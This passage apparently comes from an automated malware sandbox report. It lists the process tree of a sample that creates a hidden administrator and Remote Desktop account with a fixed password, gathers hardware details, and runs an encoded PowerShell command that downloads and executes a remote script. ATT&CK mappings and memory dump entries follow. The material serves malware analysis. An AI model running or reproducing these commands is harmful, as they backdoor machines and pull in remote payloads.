  net.exe user wgautilacc b1mq90yo /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc b1mq90yo /add
    3⤵
    PID:2752

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3288
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:3784

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3212
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:3532

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1380
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:3764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3780

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc b1mq90yo
1⤵
PID:3984
- C:\Windows\system32\net.exe
  net.exe user wgautilacc b1mq90yo
  2⤵
  PID:3324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc b1mq90yo
    3⤵
    PID:3152

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:3216
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:1588

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3948
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3340

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3288
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3532

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1548
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:2624
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:2116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2152-127-0x000001A5716B0000-0x000001A571AD1000-memory.dmp

Filesize
4.1MB

Download
memory/2152-130-0x000001A571273000-0x000001A571275000-memory.dmp

Filesize
8KB

Download
memory/2152-129-0x000001A571270000-0x000001A571272000-memory.dmp

Filesize
8KB

Download
memory/2152-132-0x000001A571276000-0x000001A571277000-memory.dmp

Filesize
4KB

Download
memory/2152-131-0x000001A571275000-0x000001A571276000-memory.dmp

Filesize
4KB

Download
memory/2304-218-0x000001B77DBE0000-0x000001B77DBE2000-memory.dmp

Filesize
8KB

Download
memory/2304-220-0x000001B77DBE6000-0x000001B77DBE8000-memory.dmp

Filesize
8KB

Download
memory/2304-219-0x000001B77DBE3000-0x000001B77DBE5000-memory.dmp

Filesize
8KB

Download
memory/2388-114-0x0000000000640000-0x00000000006D1000-memory.dmp

Filesize
580KB

Download
memory/2388-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/2704-217-0x0000020C98EE6000-0x0000020C98EE8000-memory.dmp

Filesize
8KB

Download
memory/2704-215-0x0000020C98EE3000-0x0000020C98EE5000-memory.dmp

Filesize
8KB

Download
memory/2704-214-0x0000020C98EE0000-0x0000020C98EE2000-memory.dmp

Filesize
8KB

Download
memory/3532-256-0x0000027EFA778000-0x0000027EFA779000-memory.dmp

Filesize
4KB

Download
memory/3532-253-0x0000027EFA770000-0x0000027EFA772000-memory.dmp

Filesize
8KB

Download
memory/3532-254-0x0000027EFA773000-0x0000027EFA775000-memory.dmp

Filesize
8KB

Download
memory/3532-255-0x0000027EFA776000-0x0000027EFA778000-memory.dmp

Filesize
8KB

Download
memory/3748-191-0x000001997EA33000-0x000001997EA35000-memory.dmp

Filesize
8KB

Download
memory/3748-210-0x000001997EA36000-0x000001997EA38000-memory.dmp

Filesize
8KB

Download
memory/3748-213-0x000001997EA38000-0x000001997EA3A000-memory.dmp

Filesize
8KB

Download
memory/3748-190-0x000001997EA30000-0x000001997EA32000-memory.dmp

Filesize
8KB

Download
memory/3820-149-0x000001E69FC23000-0x000001E69FC25000-memory.dmp

Filesize
8KB

Download
memory/3820-169-0x000001E6A0DA0000-0x000001E6A0DA1000-memory.dmp

Filesize
4KB

Download
memory/3820-170-0x000001E6A1130000-0x000001E6A1131000-memory.dmp

Filesize
4KB

Download
memory/3820-162-0x000001E6A0950000-0x000001E6A0951000-memory.dmp

Filesize
4KB

Download
memory/3820-148-0x000001E69FC20000-0x000001E69FC22000-memory.dmp

Filesize
8KB

Download
memory/3820-139-0x000001E6A06F0000-0x000001E6A06F1000-memory.dmp

Filesize
4KB

Download
memory/3820-144-0x000001E6A09A0000-0x000001E6A09A1000-memory.dmp

Filesize
4KB

Download
memory/3820-164-0x000001E69FC26000-0x000001E69FC28000-memory.dmp

Filesize
8KB

Download
memory/3820-221-0x000001E69FC28000-0x000001E69FC29000-memory.dmp

Filesize
4KB

Download